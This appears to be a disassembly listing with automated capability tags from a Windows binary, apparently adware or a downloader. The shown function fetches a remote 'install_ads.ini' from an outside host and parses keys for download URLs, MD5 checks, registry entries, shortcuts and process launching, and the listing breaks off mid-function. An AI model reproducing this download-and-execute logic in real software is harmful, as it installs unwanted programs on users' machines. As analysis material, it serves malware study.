Function at 0x4110a0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x497615
mov eax, dword fs:[0]
push eax
sub esp, 0xd8
push ebx
push esi
push edi
mov eax, dword [0x4b8a40]
xor eax, esp
push eax
lea eax, [esp + 0xe8]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov ebx, dword [edi + 0xa8]
mov eax, dword [edi + 0x134]
call fcn.0043df30
mov ebx, dword [edi + 0xb0]
mov eax, dword [edi + 0x134]
call fcn.0043df30
mov ecx, dword [edi + 0x134]
mov esi, dword [ecx + 0x210]
xor eax, eax
test esi, esi
jle 0x41113a
cmp eax, esi
jl 0x411111
xor edx, edx
jmp 0x41112c
test eax, eax
jl 0x4111ad
cmp eax, esi
jge 0x4111ad
mov edx, dword [ecx + 0x20c]
lea edx, [edx + eax*4]
mov edx, dword [edx]
cmp dword [edx + 0xe8], 0
jne 0x411147
inc eax
cmp eax, esi
jl 0x411111
cmp dword [edi + 0x1b8], 0
je 0x413791
push str.YouXunBoxYouxun.exe
add edi, 0x18c
lea eax, [esp + 0xd8]
push edi
push eax
call fcn.00405010
add esp, 8
mov dword [esp + 0xf4], 0
mov ecx, esp
mov dword [esp + 0x38], esp
push str.http:__box64ad.uuuo.com_yxh_install_ads.ini
call fcn.00401bc0
lea ecx, [esp + 0x1c]
push ecx
call fcn.004097b0
add esp, 8
mov byte [esp + 0xf0], 1
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4111b2
push 0x80004005
call fcn.004010b0
call fcn.00444e04
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x88], eax
mov byte [esp + 0xf0], 2
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4111e7
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x80], eax
mov byte [esp + 0xf0], 3
mov esi, dword [esp + 0x18]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x38], esp
mov edi, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411234
cmp eax, dword [esi]
jne 0x411234
mov ebx, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411270
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x41124d
call fcn.00402710
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
add ebx, 0x10
mov dword [edi], ebx
push ecx
mov byte [esp + 0xf8], 4
mov ecx, esp
mov dword [esp + 0x34], esp
push str.sleep
lea edi, [esp + 0x8c]
call fcn.00401bc0
mov byte [esp + 0xf8], 5
mov ebx, dword [0x4be1c8]
push ecx
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebx, 0xfffffff0
mov dword [esp + 0x2c], esp
mov dword [esp + 0x2c], esp
call eax
cmp dword [ebx + 0xc], 0
lea edx, [ebx + 0xc]
jl 0x4112d3
cmp eax, dword [ebx]
jne 0x4112d3
mov esi, ebx
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41130f
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x4112ec
call fcn.00402710
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
add ebx, 0x10
lea edx, [eax + eax + 2]
push ebx
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x2c]
add esi, 0x10
mov dword [ecx], esi
mov esi, edi
mov byte [esp + 0xfc], 3
call fcn.00409680
mov edx, dword [esp + 0x8c]
add esp, 0xc
push edx
call fcn.0046254a
mov esi, dword [esp + 0x1c]
mov ecx, dword [esi - 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x38], eax
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
mov dword [esp + 0x30], esp
mov edi, esp
call edx
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x41136c
cmp eax, dword [esi]
jne 0x41136c
mov ebx, esi
mov eax, 1
lock xadd dword [edx], eax
jmp 0x4113a8
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x411385
call fcn.00402710
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
add ebx, 0x10
mov dword [edi], ebx
push ecx
mov byte [esp + 0xf8], 6
mov ecx, esp
mov dword [esp + 0x50], esp
push str.number
lea edi, [esp + 0x94]
call fcn.00401bc0
mov byte [esp + 0xf8], 7
mov ebx, dword [0x4be1c8]
push ecx
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebx, 0xfffffff0
mov dword [esp + 0x2c], esp
mov dword [esp + 0x2c], esp
call eax
cmp dword [ebx + 0xc], 0
lea edx, [ebx + 0xc]
jl 0x41140b
cmp eax, dword [ebx]
jne 0x41140b
mov esi, ebx
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411447
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x411424
call fcn.00402710
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
add ebx, 0x10
lea edx, [eax + eax + 2]
push ebx
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x2c]
add esi, 0x10
mov dword [ecx], esi
mov esi, edi
mov byte [esp + 0xfc], 3
call fcn.00409680
mov edx, dword [esp + 0x94]
add esp, 0xc
push edx
call fcn.0046254a
mov esi, eax
add esp, 4
mov dword [esp + 0x2c], esi
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411492
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x30], eax
mov byte [esp + 0xf0], 8
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4114c4
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov byte [esp + 0xf0], 9
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4114f6
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0xf0], 0xa
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411528
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x40], eax
mov byte [esp + 0xf0], 0xb
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41155a
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x3c], eax
mov byte [esp + 0xf0], 0xc
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41158c
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x48], eax
mov byte [esp + 0xf0], 0xd
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4115be
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x70], eax
mov byte [esp + 0xf0], 0xe
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4115f0
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x68], eax
mov byte [esp + 0xf0], 0xf
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411622
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x60], eax
mov byte [esp + 0xf0], 0x10
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411654
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x44], eax
mov byte [esp + 0xf0], 0x11
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411686
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x58], eax
mov byte [esp + 0xf0], 0x12
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4116b8
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0xf0], 0x13
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4116ea
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa0], eax
mov byte [esp + 0xf0], 0x14
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41171f
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x94], eax
mov byte [esp + 0xf0], 0x15
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411754
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x98], eax
mov byte [esp + 0xf0], 0x16
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411789
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x8c], eax
mov byte [esp + 0xf0], 0x17
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4117be
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb4], eax
mov byte [esp + 0xf0], 0x18
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4117f3
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x84], eax
mov byte [esp + 0xf0], 0x19
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411828
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xcc], eax
mov byte [esp + 0xf0], 0x1a
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41185d
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x4c], eax
mov byte [esp + 0xf0], 0x1b
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41188f
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xac], eax
mov byte [esp + 0xf0], 0x1c
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4118c4
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x74], eax
mov byte [esp + 0xf0], 0x1d
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4118f6
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xbc], eax
mov byte [esp + 0xf0], 0x1e
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41192b
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x6c], eax
mov byte [esp + 0xf0], 0x1f
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41195d
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa4], eax
mov byte [esp + 0xf0], 0x20
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411992
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x64], eax
mov byte [esp + 0xf0], 0x21
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4119c4
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc4], eax
mov byte [esp + 0xf0], 0x22
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4119f9
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x5c], eax
mov byte [esp + 0xf0], 0x23
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411a2b
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa8], eax
mov byte [esp + 0xf0], 0x24
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411a60
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x54], eax
mov byte [esp + 0xf0], 0x25
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411a92
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc8], eax
mov byte [esp + 0xf0], 0x26
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411ac7
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc0], eax
mov byte [esp + 0xf0], 0x27
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411afc
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb8], eax
mov byte [esp + 0xf0], 0x28
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411b31
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb0], eax
mov byte [esp + 0xf0], 0x29
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411b66
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x7c], eax
mov byte [esp + 0xf0], 0x2a
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411b98
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x78], eax
mov byte [esp + 0xf0], 0x2b
call fcn.004448fb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411bca
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x90], eax
cmp esi, 1
mov bl, 0x2c
mov byte [esp + 0xf0], bl
mov dword [esp + 0x24], 1
jl 0x412fa9
jmp 0x411c00
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0xb4]
push str.wd_dexec
push edx
call fcn.00405b00
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], esp
mov dword [esp + 0x14], esp
call edx
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x411c4d
cmp eax, dword [esi]
jne 0x411c4d
mov edi, esi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x411c88
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x411248
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x2d
mov esi, dword [esp + 0xb4]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411cd0
cmp eax, dword [esi]
jne 0x411cd0
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411d0b
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x411248
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x18]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf8], 0x2e
mov esi, dword [0x4be1c8]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411d52
cmp eax, dword [esi]
jne 0x411d52
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411d8d
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x411248
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add edi, 0x10
mov dword [ecx], edi
lea esi, [esp + 0xc0]
mov byte [esp + 0xfc], bl
call fcn.00409680
mov edx, dword [esp + 0x30]
add esp, 0xc
push edx
lea eax, [esp + 0x88]
push str.wd_did
push eax
call fcn.00405b00
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411df9
cmp eax, dword [esi]
jne 0x411df9
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411e34
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x411248
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x2f
mov esi, dword [esp + 0x88]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411e7c
cmp eax, dword [esi]
jne 0x411e7c
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411eb7
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x411248
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x18]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf8], 0x30
mov esi, dword [0x4be1c8]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411efe
cmp eax, dword [esi]
jne 0x411efe
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411f39
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x411248
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add edi, 0x10
mov dword [ecx], edi
lea esi, [esp + 0x3c]
mov byte [esp + 0xfc], bl
call fcn.00409680
mov edx, dword [ebp + 8]
mov edi, dword [edx + 0x134]
xor esi, esi
add esp, 0xc
cmp esi, dword [edi + 0x210]
jge 0x41206b
test esi, esi
jl 0x4111ad
cmp esi, dword [edi + 0x210]
jge 0x4111ad
mov eax, dword [edi + 0x20c]
lea eax, [eax + esi*4]
mov eax, dword [eax]
mov eax, dword [eax + 0x114]
test eax, eax
je 0x411fe4
mov edx, dword [esp + 0x30]
xor ecx, ecx
test edx, edx
setne cl
test ecx, ecx
je 0x4111a3
mov eax, dword [eax]
mov ecx, edx
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x411fd6
test dx, dx
je 0x411fd2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x411fd6
add eax, 4
add ecx, 4
test dx, dx
jne 0x411fb0
xor eax, eax
jmp 0x411fdb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
jne 0x411ff3
inc esi
cmp esi, dword [edi + 0x210]
jl 0x411f6c
jmp 0x41206b
cmp esi, dword [edi + 0x210]
jl 0x411fff
xor eax, eax
jmp 0x41201e
test esi, esi
jl 0x4111ad
cmp esi, dword [edi + 0x210]
jge 0x4111ad
mov ecx, dword [edi + 0x20c]
lea eax, [ecx + esi*4]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
jne 0x41206b
mov eax, dword [esp + 0xb4]
mov ecx, 0x4a04e4
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x412059
test dx, dx
je 0x412055
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x412059
add eax, 4
add ecx, 4
test dx, dx
jne 0x412033
xor eax, eax
jmp 0x41205e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
je 0x412f96
mov ecx, dword [esp + 0x30]
mov eax, dword [ecx - 0xc]
mov esi, dword [esp + 0x24]
test eax, eax
je 0x41209b
push eax
push ecx
lea ecx, [esp + 0x84]
call fcn.00405740
push 1
push 0x49fd58
lea ecx, [esp + 0x84]
call fcn.00405740
push esi
lea edx, [esp + 0xd0]
push str.wd_durl
push edx
call fcn.00405b00
add esp, 0xc
push esi
lea eax, [esp + 0x50]
push str.wd_dmd5
push eax
call fcn.00405b00
add esp, 0xc
push esi
lea ecx, [esp + 0xb0]
push str.wd_dmain
push ecx
call fcn.00405b00
add esp, 0xc
push esi
lea edx, [esp + 0x78]
push str.wd_dunmain
push edx
call fcn.00405b00
add esp, 0xc
push esi
lea eax, [esp + 0x70]
push str.wd_dchina
push eax
call fcn.00405b00
add esp, 0xc
push esi
lea ecx, [esp + 0xc0]
push str.wd_dopen
push ecx
call fcn.00405b00
add esp, 0xc
push esi
lea edx, [esp + 0x58]
push str.wd_dReg
push edx
call fcn.00405b00
add esp, 0xc
push esi
lea eax, [esp + 0xa8]
push str.wd_dtaskbar
push eax
call fcn.00405b00
add esp, 0xc
push esi
lea ecx, [esp + 0x68]
push str.wd_dparam
push ecx
call fcn.00405b00
add esp, 0xc
push esi
lea edx, [esp + 0xc8]
push str.wd_dLnk
push edx
call fcn.00405b00
add esp, 0xc
push esi
lea eax, [esp + 0x60]
push str.wd_dsleep
push eax
call fcn.00405b00
add esp, 0xc
push esi
lea ecx, [esp + 0xac]
push str.wd_dlnkpath
push ecx
call fcn.00405b00
add esp, 0xc
push esi
lea edx, [esp + 0xcc]
push str.wd_drnwait
push edx
call fcn.00405b00
add esp, 0xc
push esi
push str.wd_dprocess
lea eax, [esp + 0xc8]
push eax
call fcn.00405b00
add esp, 0xc
push esi
lea ecx, [esp + 0xbc]
push str.wd_dArea
push ecx
call fcn.00405b00
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412206
cmp eax, dword [esi]
jne 0x412206
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412241
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x411248
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x31
mov edi, dword [esp + 0xd0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412289
cmp eax, dword [edi]
jne 0x412289
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
